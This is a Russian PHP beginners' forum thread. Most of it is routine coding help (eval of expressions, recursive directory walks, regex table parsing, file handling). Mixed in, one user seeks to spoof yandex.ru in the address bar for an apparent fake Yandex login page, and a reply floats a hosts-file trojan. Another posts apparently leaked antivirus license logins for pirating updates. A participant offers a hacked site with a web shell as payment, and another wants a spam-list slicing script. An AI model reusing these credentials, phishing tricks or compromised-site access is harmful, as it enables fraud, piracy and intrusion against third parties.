Просмотр полной версии : [php] Новичкам: задаем вопросы
В этой специальной теме новички могут задавать простые вопросы по языку PHP.
Darkweider
27.05.2007, 12:10
как извлечь полную информацию о пользователе, чтобы забанить не только по айпи?
есть сторока в таком виде "3006 + (40416-966) / 30" мне нужно как нибудь вычислить математически... ((((
blaga, eval() ?
Darkweider, инфо о браузере ($_REQUEST[HTTP_USER_AGENT]) + чтонить выцепить с помощью JS
Кому интересно моя проблема решилась так:
<?php
$var1 = '3006';
$var2 = '40416';
$var3 = '966';
$var4 = '30';
$str = '$var1 + ($var2-$var3) / $var4.<br>';
eval ("echo $var1 + ($var2-$var3) / $var4;");
?>
Пример был взят из мануала. _Great_ +4
можно проще
$expression = "3006 + (40416-966) / 30";
eval('$result = '.$expression.';');
Дальше с $result делать че угодно
Joker-jar
27.05.2007, 14:30
Также для бана часто пользуются комбинацией "бан по Ip" + "бан по кукисам"
как выполнить внешнюю программу на perl ?
И можно ли посредствами php получить результат от ЕХЕ файла?
как выполнить внешнюю программу на perl ?
И можно ли посредствами php получить результат от ЕХЕ файла?
Читай http://www.php.net/manual/ru/ref.com.php
spamoney
28.05.2007, 05:01
Есть две проблемки, помогите решить, пожалуйста, а то я в php вообще не разбираюсь:
1. Есть скрипт для вывода случайных картинок из папки, как сделать так, чтобы картинки выводились не только из папки images, но и из подпапок, т.е из images/1/2/3.....
block-Random-image.php
<?php
if (!defined('BLOCK_FILE')) {
Header("Location: ../index.php");
exit;
}
ob_start();
include("modules/Album/album/randomimg.php"); //путь к файлу обработчику
$script = ob_get_contents();
ob_end_clean();
$content .= $script;
?>
randomimg.php
<?php
$dir="/images";/// Укажите папку с фото
$openthisdir=opendir($dir);
while ($k=readdir($openthisdir))
{
$m=substr($k,-4);
if ($m=='.jpg' or $m=='.png' or $m=='.gif') $array[]=$k;
}
closedir($openthisdir);
$number=rand(0,count($array)-1);
echo "<center><img src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$dir/$array[$number]");
echo "Файл: $array[$number]<BR>";///Вывод названия
echo "Размер: $size б.<BR>";///Вывод Размера
?>
2. Есть ли такой скрипт, который бы искал в папке images и подпапках, файлы, имена которых содержат пробелы и заменял бы эти пробелы каким-нибудь символом или удалял бы их ?
т.е pict 1.jpg на pict_1.jpg или pict1.jpg
Если у кого-нибудь есть выложите пожалуйста.....
Dr.Frank
28.05.2007, 06:25
2. Есть ли такой скрипт, который бы искал в папке images и подпапках, файлы, имена которых содержат пробелы и заменял бы эти пробелы каким-нибудь символом или удалял бы их ?
т.е pict 1.jpg на pict_1.jpg или pict1.jpg
Если у кого-нибудь есть выложите пожалуйста.....
<?php
if(!$type)
$type=".jpg";
function cd_dir($dir,$type){
$r=opendir($dir);
while($p = readdir($r)){
if(is_dir("$dir\\$p") && $p!="." && $p!="..")
cd_dir("$dir\\$p",$type);
elseif($type && strtolower(substr($p,-4))==$type && strstr($p," ")){
rename("$dir\\$p",$dir."\\".str_replace(" ","_",$p));
}
}
}
cd_dir($dir,$type);
?>
Скрипт корявенький(переделал свой, для схожих потребностей), но работает..(по крайней мере на Винде)
Заменяет пробелы на символ "_"
в аргументах скрипта указываешь dir=нужная_папка&type=Нужный_тип_с_точкой_впер ди
например: xxx.php?dir=1&type=.txt
Если не будет работать - спрашивай...
Кстати, первый вопрос можешь по аналогии сам сделать
nc.STRIEM
28.05.2007, 11:27
<?php
if(!$type)
$type=".jpg";
function cd_dir($dir,$type){
$r=opendir($dir);
while($p = readdir($r)){
if(is_dir("$dir\\$p") && $p!="." && $p!="..")
cd_dir("$dir\\$p",$type);
elseif($type && strtolower(substr($p,-4))==$type && strstr($p," ")){
rename("$dir\\$p",$dir."\\".str_replace(" ","_",$p));
}
}
}
cd_dir($dir,$type);
?>
Скрипт корявенький(переделал свой, для схожих потребностей), но работает..(по крайней мере на Винде)
Заменяет пробелы на символ "_"
в аргументах скрипта указываешь dir=нужная_папка&type=Нужный_тип_с_точкой_впер ди
например: xxx.php?dir=1&type=.txt
Если не будет работать - спрашивай...
Кстати, первый вопрос можешь по аналогии сам сделать
создай папку или файл с именем 0 или false посмотрим как будет работать.
внимательно читаем мануал http://php.ru/manual/function.readdir.html
и видем:
/* Именно этот способ чтения элементов каталога является правильным. */
while (false !== ($file = readdir($handle))) {
echo "$file\n";
}
/* Этот способ НЕВЕРЕН. */
while ($file = readdir($handle)) {
echo "$file\n";
}
Можно ли сделать так, чтобы при обращении к любому файлу (например, картинке) в определенной папке на сервере выполнялся php скрипт перед показом ?
Можно ли сделать так, чтобы при обращении к любому файлу (например, картинке) в определенной папке на сервере выполнялся php скрипт перед показом ?
вроде нет. легче обращайся к скрипту а он перекинет на картинку.
Dr.Frank
28.05.2007, 15:25
Можно ли сделать так, чтобы при обращении к любому файлу (например, картинке) в определенной папке на сервере выполнялся php скрипт перед показом ?
Можно, делаешь скрипт, который надо запускать(только чтоб не выводил никаких данных и заголовки не посылал), в конце дописываешь строку:
header("Content-type:image/gif");
readfile("Имя_картинки_которую_надо_о ткрыть.gif");
/*
(ну или не гиф, а другие типы картинок, тогда
поменяй Content-type:ТИП_КАРТИНКИ)
*/
сохраняешь PHP-скрипт с расширением картинки, например 1.gif
В папке со скрптом создаешь файл .htaccess с такими строками(или, если есть, то дописываешь его):
<Files Имя_скрипта>
ForceType application/x-httpd-php
</Files>
/*
в данном случае
<Files 1.gif>
ForceType application/x-httpd-php
</Files>
*/
и ссылку кидаешь на этот скрипт, а не на картинку
ultimatum
28.05.2007, 16:50
Весь день пролазил в сети в поисах данного вопроса но так и не нашел ответа.
Есть задача.Смысл которой подменить урл в браузере клиента.То есть если клиет идет по ссылке скажем www.sait.com у клиента отображалось yandex.ru.Точнее говоря подмена доменного имени с помощью php.
Имею хост бесплатный на котором пшп+цги. Соответственно доступа к .htaccess не имею и к апачу тоже.Можно ли как нить осуществить мою идею с помощью php или js.Или может есть какой нибудь другой способ о котором я недогадываюсь
----------------------------------------------- c низу перенесено ----------------
Хотя знаю точно, что если на домашнем компе развернуть подобное , то данную идею можно осуществить сконфигурировав апач или .htaccess
redirect - это переарисация. можно даже задать определённое время.Но задача стоит другая.Создать илюзию того что чел пришел на yandex.ru , а на самом деле он находиться на http://mysait.com/ . хост на агаве.Но если будет предложен код на php который будет работать на любом другом бесплатном домене.То будет респект
ссылка : yandex.ru (http://ultimatum.h18.ru/mail/yandex/passport.htm) надо чтобы урл был такой же yandex.ru Код дайте пожалуста с разьяснениями!
2Dr.Frank, так будет не очень удобно если там нужно много файлов так сделать. В эштеаксесе тогда лучше прописать что бы все файлы в этой папке обрабатывались как пхп.
2ultimatum, приписать в файл хостс в винде ип к домменому имени yandex.ru тока это к пхп уже мало чем относиться.
2ultimatum, приписать в файл хостс в винде ип к домменому имени yandex.ru тока это к пхп уже мало чем относиться.
а разве такое нельзя на пхп сделать? прав не хватит? или вообще нет доступа к файлам пользователя? если нет, тогда только трой
Dr.Frank
28.05.2007, 18:08
2Dr.Frank, так будет не очень удобно если там нужно много файлов так сделать. В эштеаксесе тогда лучше прописать что бы все файлы в этой папке обрабатывались как пхп.
Гм... можно один скрипт сделать с именем, например "files" и передавать ему данные, например xxx.ru/files/1.gif - все работает, проверенно - и один скрипт и все картинки(файлы) передаются с обработкой, т.е. сначала запускается скрипт
Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно)
Скриптик бы повесил на кротаб и было все круто)
заранее спасибо.
Теперь я задам вопрос :
Можно ли опред.слово удалить из файла?
Допустим файл содержит такие слова
12345
Hexinbla
Fucken
sux
Little
Можно как-нибудь удалить из файла слово "Fucken" ?
Dr.Frank
28.05.2007, 19:52
Теперь я задам вопрос :
Можно ли опред.слово удалить из файла?
Допустим файл содержит такие слова
12345
Hexinbla
Fucken
sux
Little
Можно как-нибудь удалить из файла слово "Fucken" ?
Гм.... вроде Гуру... =)
Самый примитивный, на мой взгляд, метод:
$t=file("1.txt");
$t=implode("\r\n",$t);
$t=str_replace("\r\nFucken","",$t);
$f=fopen("1.txt","w");
fwrite($f,$t);
fclose($f);
Удаляет все слова "Fucken" из файла
Dr.Frank
28.05.2007, 19:54
Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно)
Скриптик бы повесил на кротаб и было все круто)
заранее спасибо.
Можно, точный адрес сайта скажи
Dr.Frank, хы =)
Не подумал
nc.STRIEM
28.05.2007, 20:16
Весь день пролазил в сети в поисах данного вопроса но так и не нашел ответа.
Есть задача.Смысл которой подменить урл в браузере клиента.То есть если клиет идет по ссылке скажем www.sait.com у клиента отображалось yandex.ru.Точнее говоря подмена доменного имени с помощью php.
Имею хост бесплатный на котором пшп+цги. Соответственно доступа к .htaccess не имею и к апачу тоже.Можно ли как нить осуществить мою идею с помощью php или js.Или может есть какой нибудь другой способ о котором я недогадываюсь
----------------------------------------------- c низу перенесено ----------------
Хотя знаю точно, что если на домашнем компе развернуть подобное , то данную идею можно осуществить сконфигурировав апач или .htaccess
redirect - это переарисация. можно даже задать определённое время.Но задача стоит другая.Создать илюзию того что чел пришел на yandex.ru , а на самом деле он находиться на http://mysait.com/ . хост на агаве.Но если будет предложен код на php который будет работать на любом другом бесплатном домене.То будет респект
ссылка : yandex.ru (http://ultimatum.h18.ru/mail/yandex/passport.htm) надо чтобы урл был такой же yandex.ru Код дайте пожалуста с разьяснениями!
нет. а .htaccess и php тут не причем
Dr.Frank
u20.eset.com
u21.eset.com
u38.eset.com
u39.eset.com
4 зеркала
а загружать файлы нужно вот сюда:
ftp://more.tnpko.ru/incoming/users/
и вот сюда
ftp://content.telecet.ru/incoming/users
Точные имена файлов к сожалению незнаю, т.к. они всегда меняются, но у всех файлов обновления стоит расширение .nup
p.s. iNVLose, я заранее поблагодарил тех, кто поможет мне.
а еще заливать можно сюда ftp://ftp2.telecet.ru/Incoming/users/
и сюда
ftp://ftp.hitv.ru/incoming/users/
Просто на некоторых ограничения по ip стоят...
Dr.Frank
29.05.2007, 05:01
Dr.Frank
u20.eset.com
u21.eset.com
u38.eset.com
u39.eset.com
Гм... я с NOD'ом ни разу не работал, можешь объяснить что должно быть на этих сайтах примерно?(меня он кидает на главную страницу)
Или есть какая-нибудь страница, где показываются все обновления?
через программу NOD32 UpdateViewer узнал что обновления лежат тут:
http://www.nod32.com/nod_upd/
http://u20.eset.com/nod_upd/
http://89.202.157.135/nod_upd/
http://u30.eset.com/nod_upd/
http://u39.eset.com/nod_upd/
но доступ к папочке закрыт... видимо толлко из программы можно скачать обновления.
Dr.Frank
29.05.2007, 17:51
http://www.nod32.com/nod_upd/
но доступ к папочке закрыт... видимо толлко из программы можно скачать обновления.
Это не проблема(в этом случае):
вместо http://www.nod32.com/nod_upd/
вводишь http://www.nod32.com//nod_upd/
т.е. после домена вводишь два символа "/" - показывается все, что в директории находится и скачать все можно(это в некотором случае считается дыркой, а некоторые спецом так делают)
Тока я не понял, че так мало обновления то вешают, всего ~3кб - это так и должно быть?
Конечно нет. Обычно от 6 - 10 мб
может быть потом изменится размер?
И всетаки. Ты мне поможешь?)
как перевести массив символов в строку?
join -- Join array elements with a string
Description
string join ( string glue, array pieces)
glue задай пустым $str = join( '', $arr );
Dr.Frank так ты мне поможешь?
Dr.Frank
30.05.2007, 05:33
Конечно нет. Обычно от 6 - 10 мб
может быть потом изменится размер?
И всетаки. Ты мне поможешь?)
Там все файлы с расширением *.ver - RAR-архивы, в которых лежит описание, где скачивать остальные файлы... А на этих адресах стоит авторизация, так что здесь я тебе ничем не помогу, т.к. не знаю логина и пароля..
Вот. Кое что нашел в инете:
AV-4536652 =>> 8juawu7rf9
AV-4557777 =>> bxgcoj57gk
AV-4557752 =>> 2c9x57b4mm
AV-4557708 =>> hjaiu19cv1
Поброуй эти пожалуйста.
spamoney
30.05.2007, 14:35
Есть две проблемки, помогите решить, пожалуйста, а то я в php вообще не разбираюсь:
1. Есть скрипт для вывода случайных картинок из папки, как сделать так, чтобы картинки выводились не только из папки images, но и из подпапок, т.е из images/1/2/3.....
block-Random-image.php
<?php
if (!defined('BLOCK_FILE')) {
Header("Location: ../index.php");
exit;
}
ob_start();
include("modules/Album/album/randomimg.php"); //путь к файлу обработчику
$script = ob_get_contents();
ob_end_clean();
$content .= $script;
?>
randomimg.php
<?php
$dir="/images";/// Укажите папку с фото
$openthisdir=opendir($dir);
while ($k=readdir($openthisdir))
{
$m=substr($k,-4);
if ($m=='.jpg' or $m=='.png' or $m=='.gif') $array[]=$k;
}
closedir($openthisdir);
$number=rand(0,count($array)-1);
echo "<center><img src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$dir/$array[$number]");
echo "Файл: $array[$number]<BR>";///Вывод названия
echo "Размер: $size б.<BR>";///Вывод Размера
?>
Переделал этот скрипт:
<?php
$dir="modules/Album/album/";
function cd_dir($dir){
$r=opendir($dir);
while (false !== ($k = readdir($r))){
if(is_dir("$dir\\\\\\\\$k") && $k!="." && $k!="..")
cd_dir("$dir\\\\\\\\$k");
elseif ($m=substr($k,-4) and $m=='.jpg' or $m=='.png' or $m=='.gif')
{ $array[]=$k;
$number=rand(0,count($array)-1);
echo "<center><img width=100 height=100 src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$dir/$array[$number]");
echo "Файл: $array[$number]<BR>";///Вывод названия
echo "Размер: $size б.<BR>";///Вывод Размера
}
}
}
cd_dir($dir);
?>
Но теперь вместо одной случайной картинки выводятся все картинки, которые находятся в папке и подпапках: "modules/Album/album/" Как сделать что бы выводилась одна, случайная?
Dr.Frank
30.05.2007, 16:03
перекинь это:
$number=rand(0,count($array)-1);
echo "<center><img width=100 height=100 src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$dir/$array[$number]");
echo "Файл: $array[$number]<BR>";///Вывод названия
echo "Размер: $size б.<BR>";///Вывод Размера
после вызова функции cd_dir($dir);, т.е. перед ?>
Сдесь же замени
echo "<center><img width=100 height=100 src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
на
echo "<center><img width=100 height=100 src='$array[$number]' alt='Случайная картинка'></center><br>";
и
$size=filesize("$dir/$array[$number]");
на
$size=filesize("$array[$number]");
После elseif замени
$array[]=$k;
на
$array[]=$dir."/".$k;
Dr.Frank
30.05.2007, 16:10
Вот. Кое что нашел в инете:
AV-4536652 =>> 8juawu7rf9
AV-4557777 =>> bxgcoj57gk
AV-4557752 =>> 2c9x57b4mm
AV-4557708 =>> hjaiu19cv1
Поброуй эти пожалуйста.
не работает ;(
spamoney
30.05.2007, 16:58
<?php
$dir="modules/Album/album/";
function cd_dir($dir){
$r=opendir($dir);
while (false !== ($k = readdir($r))){
if(is_dir("$dir\\\\\\\\$k") && $k!="." && $k!="..")
cd_dir("$dir\\\\\\\\$k");
elseif ($m=substr($k,-4) and $m=='.jpg' or $m=='.png' or $m=='.gif')
{ $array[]=$dir."/".$k;
}
}
}
cd_dir($dir);
$number=rand(0,count($array)-1);
echo "<center><img width=100 height=100 src='$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$array[$number]");
echo "Файл: $array[$number]<BR>";///Вывод названия
echo "Размер: $size б.<BR>";///Вывод Размера
?>
Вродь сделал как ты сказал, но чего то не работает:
Notice: Undefined variable: array in z:\home\suit.by\www\222.php on line 14
Notice: Undefined variable: array in z:\home\suit.by\www\222.php on line 15
Notice: Undefined variable: array in z:\home\suit.by\www\222.php on line 16
Notice: Undefined variable: array in z:\home\suit.by\www\222.php on line 17
Файл:
Размер: б.
Dr.Frank
30.05.2007, 18:32
Да, совсем забыл, добавь после строчки
function cd_dir($dir){
строку
global $array;
у кого то в подписи из пользователей античата всегда есть эти коды. наверняка они рабочие. Если увидишь, попробуй их пожалуйста
p.s. если этот пост читает ктонибудь кто знает эти данные, просьба отписать их тут!
и еще... это конечно не в тему, но всетаки. Какой программой можно переделать песню стерео в звук 5.1 ???
очень нужно!
объясните как мне вывести картинку с русским текстом средствами PHP.
Проблема в том что при использование функций ImageString() возникают проблемы с кодировкой (пробовал перекодировать текст в разные кодировки=(( нифига),
выводить текст с использованием TTF шрифтов немогу(по ходу проблема уже у хостинг провайдера, что-то там требуется активировать что у него не активировано)
вобщем выводятся ошибка =(((
Заголовок страницы сделай с кодировкой windows-1251
Joker-jar
01.06.2007, 19:42
Попробуй перед впихиванием строки в ImageString прогнать ее через это:
function win2uni($s)
{
return preg_replace('#[\xC0-\xFF]#se','"&#".(ord("$0")+1040-0xC0).";"',$s);
}
2 Isis
немогу ибо в загаловке страници прописано
Content-type: image/png
дабы выводит оно кратинку
или я туплю?!
2 Joker-jar
=(( непопер этот вариант теперь на генерируемый средствами библиотеки GD картинки
за место русского языка красуются с е
Есть код...
<?php
$q = "Бла бла бла";
echo ("<input type = text value = $q>");
?>
В таком случае в поле input будет только "Бла".
Обошел так :
<?php
$q = "Бла бла бла";
?><input type = text value = "<? echo ($qst); ?>"><?
?>
Можно ли это обойти инным, менее геморным методом?
*Кол-во полей input зараннее не известно.
Joker-jar
02.06.2007, 19:39
<?php
$q = "Бла бла бла";
echo ("<input type = text value = \"$q\">");
?>
Есть 4 текстовых файла: a.txt b.txt c.txt d.txt
В каждом из них допустим по 1 переменной: $a=1; (в файле a.txt) $b=2; (в файле b.txt) $c=3; (в файле c.txt) $d=4; (в файле d.txt)
Можно ли с помощью php сделать так, чтобы эти переменные брались из разных файлов, сравнивались, создавался файл result.txt и там было большее число (например $d=4;)?
Joker-jar
02.06.2007, 20:07
Конечно можно, вопрос стоит лишь в реализации. Если имена переменных заведомо известны, то, как вариант, можно прочитать все файлы, сожержимое обрамить в eval() и по циклу определить наибольшее. В противном случае парсить, скорей всего. Хотя кто-то может посоветовать и более элегантное решение
Найти наибольшее значение можно следующим способом:
переменной max присваиваешь первой элемент массива, потом в цикле проверяешь, если arr[i]>max тогда max=arr[i] и усе.
The_HuliGun
03.06.2007, 10:34
<?
touch('result.txt'); //создал файл
$res = fopen ('result.txt',"r+"); //отркыл на запись
$a_ = fopen ('a.txt',"r"); //
$b_ = fopen ('b.txt',"r"); // открыл файлы на чтение
$c_ = fopen ('c.txt',"r"); //
$d_ = fopen ('d.txt',"r"); //
$a = fread ($a_,10);
$b = fread ($b_,10); // считал значение переменных
$c = fread ($c_,10);
$d = fread ($d_,10);
$max=0;
if (($a>=$b)&&($a>=$c)&&($a>=$d)) $max=$a;
if (($b>=$a)&&($b>=$c)&&($b>=$d)) $max=$b; //определил максимальную
if (($c>=$a)&&($c>=$b)&&($c>=$d)) $max=$c;
if (($d>=$a)&&($d>=$b)&&($d>=$c)) $max=$d;
fputs ($res,"$max"); // записал у файл
fclose($res);
fclose($a_);
fclose($b_); // и не забыл позакрывать файлы
fclose($c_);
fclose($d_);
?>
ultimatum
03.06.2007, 13:17
$a_ = fopen ('a.txt',"r");
fputs ($res,"$max");
fclose($a_);
А есть же какой то косяк со стороны php , что по середине может вклиниться ещё какой нить процесс?или я не прав
попробуй =) а нах тебе, чем те линенйно не нравится
Спасибо всем! :) Особенно The_HuliGun выручил спс.
И ещё вот
есть html страничка в интернете там таблица и её надо в многомерный массив перегнать.
Как сделать? Может есть у кого пример кода? :)
$a_ = fopen ('a.txt',"r");
fputs ($res,"$max");
fclose($a_);
А есть же какой то косяк со стороны php , что по середине может вклиниться ещё какой нить процесс?или я не прав
если с файлом a.txt производят манипуляции то вполне вероятно при одновременном их обращении к a.txt
может возникнуть проблемма
во избежание подобного обычно на время работы твоего скрипта с файлом a.txt используются функции блокировки
на сколько я понял ты про это
$a_=fopen("a.txt","a+");
flock ($fp,LOCK_EX);
fputs ($res,"$max");
fclose($a_);
Разлочивать не надо перед закрытием - fclose сам разлочит.
Просто не охота создавать новую тему, по этому запостю сдесь!
Трабла в том как можно разбить сторку вида:
ЬЭЮЯабвгдежзийклмнопрстуф хцчшщъыьэюя\x01\x02\x03\x04\x05\x06\x07 \x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x 14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&\'()*+,-./0123456789:;
Разобрать данную строку по символьно можно сделать без проблем, а нужно разбить эту сроку так что бы учитывались \x01, \x02 и так далее, т.е шли как один символ.
Если использовать регулярки сильно сложные получаться и время затраченное на разбор тоже будет большой.
Если будут какие-нибудь мысли по данной теме жду предложений...
<?php
$arr = '\x01\x02\x03\x04\x05\x06\x07\x08\x09
\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12
\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f';
$x = explode("\\", $arr);
foreach($x as $b)
echo "\\".$b."<br/>";
?>
Вывод:
\x01
\x02
\x03
\x04
\x05
\x06
\x07
\x08
\x09
\x0a
\x0b
\x0c
\x0d
\x0e
\x0f
\x10
\x11
\x12
\x13
\x14
\x15
\x16
\x17
\x18
\x19
\x1a
\x1b
\x1c
\x1d
\x1e
\x1f
The_HuliGun
07.06.2007, 08:32
<?php
$str="фвафіаafdjasdjfowej\x1e\x10s\\\asdf%&**()";
echo"$str<br>";
for($i=0;$i<=strlen($str);)
{
echo"$str[$i]<br>";
$i++;
}
?>
В результате будет:
фвафіаafdjasdjfowejs\\asdf%&**()
ф
в
а
ф
і
а
a
f
d
j
a
s
d
j
f
o
w
e
j
s
\
\
a
s
d
f
%
&
*
*
(
)
Как видишь сочетание символов \x1e и \x10 воспринимается как один символ.
Dr.Frank
07.06.2007, 14:36
Как видишь сочетание символов \x1e и \x10 воспринимается как один символ.
Если строка в двойных ковычках, то в твоем случае даже не надо смотреть сочетание сивмолов \x, PHP сразу понимает, что эт один символ..
<?php
$str='фвафіаafdjasdjfowej\x1e\x10s\\\asdf%&**()';
echo"$str<br>";
for($i=0;$i<=strlen($str);)
{
if($str[$i+1]=="x" && $str[$i]=="\\"){
echo substr($str,$i,4)."<br>";
$i+=4;
}else{
echo"$str[$i]<br>";
$i++;
}
}
?>
У меня проблема в регулярных выражениях не могу сообразить как сделать чтобы все ячейки написанные ниже были помещены в массив :(
В HTML таблице есть ячейки вида:
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a><font color=black>news</font></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a><font color=black>news</font></center></td>
Там везде не просто везде News написано, а разная информация, естественно с буквами, цифрами, слэшами, пробелами, ентерами т.е выход делать регулярное выражение с тегами, а как именно сделать это регулярное выражение проблема :(, пробовал просто без помощи тегов делать не выходит.
Нужно чтобы только такого вида ячейки были помещены в массив.
Делаю так:
$exp = '/<td><center>(.*?)<br><a href=(.*?)>(.*?)<\/a><font color=(.*?)>(.*?)<\/font><\/center><\/td>/';
preg_match_all($exp, $str, $preg);
Пробовал и по другому составлять $exp но так и не додумался :((
В массив $preg заносятся только первая и последняя ячейки :(
А нужно чтобы каждая ячейка так как она распаложена шла и в массив ...
Т.е вариант типо сначало сделать $exp занести в массив потом сделать
$exp_2 = '/<td><center>(.*?)<br><a href=(.*?)>(.*?)<\/a><\/center><\/td>/';
Занести в массив отпадает надо чтобы поочереди всё было :(
Помогите разобраться плз как сделать :)
Вроде как и пустиковое то дело, а мне совсем непонятно :(.
Стукни в асю 939455 помогу с регулркой.Просто не совсем вопрос понятен.
Эм еси у тебя только первая и последняя, то прочитай внимательно про preg_match_all (http://php.net/preg_match_all) и его 4 парметром !
<?php
$data="<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a><font color=black>news</font></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a></center></td>";
$exp = '/<td><center>(.*?)<br><a href=(.*?)>(.*?)<\/a>(.*?)<\/center><\/td>/';
preg_match_all($exp,$data,$math);
print_r($math[0]);
?>
Вот как всё решилось благодаря grinay! СПАСИБО ОГРОМНОЕ! Написал код за секунды :)
А я мучился целый день как же не догодался сюда написать :) даже спать не хотел пока не узнаю как всё делается :)
Теперь хоть и спать спокойно можно :).
Уже написал код, не заметил, что вопрос решен, но все же, в этой регулярке дополнительно парсить данные не нужно.
$exp = "/\<td\>\<center\>(.+?)\<br\>\<a\shref\=\'([^\']+?)\'[^\>]+?\>\<b\>(.+?)\<\/b\>\<\/a\>(\<font[^\>]*?\>(.+?)\<\/font\>)?\<\/center\>\<\/td\>/is
Напомню, что в теме обсуждаются только вопросы, непосредственно связанные с ЯЗЫКОМ.
Оффтоп буду тереть и жестоко наказывать.
hhover спасибо по прошлой проблемке, но сделал уже как grinay подсказал, всё работает, а раз работает пусть работает как есть :) Но всё равно спасибо!
Вот образовалась проблема не могу понять как решить :(
Есть вот такая HTML форма:
http://img55.imageshack.us/img55/4836/scrinma3.jpg
Туда вводятся числа в верхнюю строчку от 1 до 19 ,
во 2-ую (нижнюю) строчку от 1 до 20.
Нужно чтобы допустим ввожу я в первую строчку 2 во вторую 5 мне должно вывести куда-нибудь, например в файл result.txt вот такое вот:
12
13
14
15
23
24
25
34
35
45
Тоесть первая цифра 2 обозначает сколько всего должно быть цифр в каждой по две ...
Вторая цифра 5 обозначает что из неё будут браться цифры вида 1 2 3 4 5 и делаться двухзначная цифра ...
Надо чтобы цифры не повторялись например в цифрах выше нет цифр 11 22 33 44 55 Ещё если есть цифры 12, то 21 уже не надо. Если есть 23, то 32 не надо.
Если было бы в HTML форме первая цифра 3 вторая 5, тогда не должно было бы быть цифр 111 222 333 444 555 1x1 2x2 3x3 4x4 5x5 x11 x22 x33 x44 x55 11x 22x 33x 44x 55x (где x - любая цифра)
Вот что должно выводиться: 123 124 125 134 234 245 134 135 345 345
Ещё если уже есть 123, то цифры 321 231 213 132 уже не должны быть.
Как такое можно сделать? Помогите плз.
Кто поможет готовым скриптом, тому с меня сайт с веб шеллом с правами записи в разные папки.
Dr.Frank
09.06.2007, 06:45
Тоесть первая цифра 2 обозначает сколько всего должно быть цифр в каждой по две ...
Вторая цифра 5 обозначает что из неё будут браться цифры вида 1 2 3 4 5 и делаться двухзначная цифра ...
Надо чтобы цифры не повторялись например в цифрах выше нет цифр 11 22 33 44 55 Ещё если есть цифры 12, то 21 уже не надо. Если есть 23, то 32 не надо.
Если было бы в HTML форме первая цифра 3 вторая 5, тогда не должно было бы быть цифр 111 222 333 444 555 1x1 2x2 3x3 4x4 5x5 x11 x22 x33 x44 x55 11x 22x 33x 44x 55x (где x - любая цифра)
Вот что должно выводиться: 123 124 125 134 234 245 134 135 345 345
Ещё если уже есть 123, то цифры 321 231 213 132 уже не должны быть.
Как такое можно сделать? Помогите плз.
Кто поможет готовым скриптом, тому с меня сайт с веб шеллом с правами записи в разные папки.
вот попробуй(параметры передаются через $f1 и $f2):
<?php
$file=fopen("result.txt","w");
function a($t,$z,$s){
global $f2,$f1,$file;
for($q=($t+1);$q<=$f2;$q++){
if($z<$f1)
a($q,($z+1),$s.$q);
else
fwrite($file,$s.$q."\r\n");
}
}
a(0,1,"");
fclose($file);
?>
Только я не догнал, почему у тебя второе число аж до 20? эт как? Цифр то всего 9(ну 10 с нулем, но он, как я понял, тебе не нужен).
Только я не догнал, почему у тебя второе число аж до 20? эт как? Цифр то всего 9(ну 10 с нулем, но он, как я понял, тебе не нужен).
Допустим если $f1=2, а $f2=20,
тогда уже будут задействованы числа и 11 и 12 и так до 20, а в целом да они и состоят все из цифр 0-9 :)
Шелл в личке.
Скрипт работает, огромное СПАСИБО! :)
хочу написать скрипт для вытаскивания из больших спам листов определенного количества мыл по деапозону, тоесть от 0 до 50000, 50000 до 100000
нашел вот такой пример:
<?
$file = fopen("c:/www/html/file.txt","r");
if(!file)
{
echo("Ошибка открытия файла");
}
else
{
$buff = fread ($file,100);
print $buff;
}
?>
как сделать чтобы он считал строки по диапозону и выводил результат не встроку а в столбец или пробел заменялся переносом на новую строку :rolleyes:
GoreMaster
11.06.2007, 13:44
А не подойдет ли это:
$mail_list = file("c:/www/html/file.txt","r");
for($i=0;$i < 50000; $i++){
echo "$mail_list[$i] <br>";
}
Dr.Frank
11.06.2007, 16:11
А не подойдет ли это:
$mail_list = file("c:/www/html/file.txt","r");
for($i=0;$i < 50000; $i++){
echo "$mail_list[$i] <br>";
}
Почти.., только
$mail_list = file("file.txt");
for($i=$number;$i < ($number+50000); $i++){
echo "{$mail_list[$i]} <br/>\r\n";
}
$number - переменная(номер), начиная с которого читаются E-mail
}{0TT@БЬ)Ч
11.06.2007, 16:29
вот вытащил из скрипта
fsockopen($hostname,80,$errnum,$errstr,20)
и не пойму за что отвечает пременные $errnum,$errstr и почему именно 20?
Joker-jar
11.06.2007, 16:50
Есть функция, генерирующая строку заданной длины из заданного символа?
<?
$i=1;
while($i<15){
echo $i ."<br>";
$i++;
}
?>
Обьясните что означает выделеное жирным.
Но просто ели убрать точку то скрипт не выполнится((( Что обозначает точка ? Извените за ламерские вопросы но я недавно пхп начал изучать и по ходу обучение от вопросов не куда не дется (
}{0TT@БЬ)Ч
11.06.2007, 20:14
2Fire3d
<?
$a = "100";
$b = "200";
echo $a + $b ."\n"; //выведет "300"
echo $a . $b; //выведет "100200"
?>
вот глянь взял из книги ;)
<?
$file = file("file.txt");
$start = 0;
$end = 1000;
if(!$file)
{
echo("Ошибка открытия файла");
}
else
{
for($i=$start;$i < ($start+$end); $i++)
{
printf("%s<br>", $file[$i]);
}
}
?>
сделал вот так спасибо :D
GoreMaster
11.06.2007, 23:23
